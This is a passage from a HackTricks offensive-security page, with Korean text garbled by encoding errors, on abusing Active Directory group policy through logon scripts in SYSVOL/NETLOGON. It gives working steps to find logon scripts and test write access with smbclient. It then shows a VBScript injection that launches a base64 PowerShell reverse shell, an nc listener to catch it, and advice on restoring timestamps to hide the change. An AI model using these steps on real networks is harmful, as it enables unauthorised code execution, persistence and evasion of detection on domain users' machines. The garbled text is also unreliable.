๋ํ logon/logoff ์คํฌ๋ฆฝํธ ํ์ฉ, autorun์ ์ํ ๋ ์ง์คํธ๋ฆฌ ํค ์์ , .msi ํ์ผ์ ํตํ ์ํํธ์จ์ด ์ค์น, ์๋น์ค ๊ตฌ์ฑ ํธ์ง ๋ฑ ์ฝ๋ ์คํ์ด๋ ์ง์์ฑ ์ ์ง๋ฅผ ์ํ ์ถ๊ฐ์ ์ธ ๋ฐฉ๋ฒ๋ค๋ ๊ณ ๋ คํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ์ ์ GPOs ๋จ์ฉ์ ํตํด ์ ๊ทผ์ ์ ์งํ๊ณ ๋์ ์์คํ ์ ์ ์ดํ ์ ์๋ ๋ค์ํ ๊ฒฝ๋ก๋ฅผ ์ ๊ณตํฉ๋๋ค.
SYSVOL/NETLOGON Logon Script Poisoning
Writable paths under \\<dc>\SYSVOL\<domain>\scripts\ or \\<dc>\NETLOGON\ allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
๋ก๊ทธ์จ ์คํฌ๋ฆฝํธ ์ฐพ๊ธฐ
- ๊ตฌ์ฑ๋ ๋ก๊ทธ์จ ์คํฌ๋ฆฝํธ์ ๋ํด ์ฌ์ฉ์ ์์ฑ์ ๊ฒ์ฌํฉ๋๋ค:
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
- domain shares๋ฅผ ํฌ๋กค๋งํ์ฌ shortcuts ๋๋ scripts์ ๋ํ ์ฐธ์กฐ๋ฅผ ์ฐพ์๋ ๋๋ค:
# NetExec spider (authenticated)
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
.lnkํ์ผ์ ํ์ฑํ์ฌ SYSVOL/NETLOGON์ ๊ฐ๋ฆฌํค๋ ๋์ ๊ฒฝ๋ก๋ฅผ ํ์ ํจ (์ ์ฉํ DFIR ํธ๋ฆญ์ด์ ์ง์ GPO ์ ๊ทผ ๊ถํ์ด ์๋ ๊ณต๊ฒฉ์์๊ฒ ์ ์ฉํจ):
# LnkParse3
lnkparse login.vbs.lnk
# Example target revealed:
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
- BloodHound๋ ์ฌ์ฉ์ ๋
ธ๋์
logonScript(scriptPath) ์์ฑ์ด ์์ผ๋ฉด ํ์ํฉ๋๋ค.
์ฐ๊ธฐ ๊ถํ ํ์ธ (๊ณต์ ๋ชฉ๋ก์ ๋ฏฟ์ง ๋ง์ธ์)
์๋ํ ๋๊ตฌ๋ SYSVOL/NETLOGON์ ์ฝ๊ธฐ ์ ์ฉ์ผ๋ก ํ์ํ ์ ์์ง๋ง, ๊ธฐ๋ณธ NTFS ACL์ ์ฌ์ ํ ์ฐ๊ธฐ๋ฅผ ํ์ฉํ ์ ์์ต๋๋ค. ํญ์ ํ ์คํธํ์ธ์:
# Interactive write test
smbclient \\<dc>\SYSVOL -U <user>%<pass>
smb: \\> cd <domain>\scripts\
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
ํ์ผ ํฌ๊ธฐ(file size)๋ mtime์ด ๋ณ๊ฒฝ๋๋ฉด write ๊ถํ์ด ์์ต๋๋ค. ์์ ํ๊ธฐ ์ ์ ์๋ณธ์ ๋ณด์กดํ์ธ์.
Poison a VBScript ๋ก๊ทธ์จ ์คํฌ๋ฆฝํธ๋ก RCE
PowerShell reverse shell (revshells.com์์ ์์ฑ)๋ฅผ ์คํํ๋ ๋ช ๋ น์ appendํ๊ณ , ๋น์ฆ๋์ค ๊ธฐ๋ฅ์ด ์ค๋จ๋์ง ์๋๋ก ์๋ ๋ก์ง์ ์ ์งํ์ธ์:
' At top of login.vbs
Set cmdshell = CreateObject("Wscript.Shell")
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
' Existing mappings remain
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
ํธ์คํธ์์ listenํ๊ณ ๋ค์ ๋ํํ ๋ก๊ทธ์จ์ ๊ธฐ๋ค๋ฆฝ๋๋ค:
rlwrap -cAr nc -lnvp 443
๋ ธํธ:
- ์คํ์ ๋ก๊น ๋ ์ฌ์ฉ์์ token (not SYSTEM)์ผ๋ก ์ํ๋ฉ๋๋ค. ๋ฒ์๋ ํด๋น ์คํฌ๋ฆฝํธ๋ฅผ ์ ์ฉํ๋ GPO ๋งํฌ(OU, site, domain)์ ๋๋ค.
- ์ฌ์ฉ ํ ์๋ ๋ด์ฉ๊ณผ ํ์์คํฌํ๋ฅผ ๋ณต์ํ์ฌ ์ ๋ฆฌํ์ธ์.
์ฐธ๊ณ ์๋ฃ
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges
- https://wald0.com/?p=112
- https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
- https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
- https://adsecurity.org/?p=3658
- https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_
- https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_
- BloodyAD โ AD attribute/UAC operations from Linux
- Samba โ net rpc (group membership)
- HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


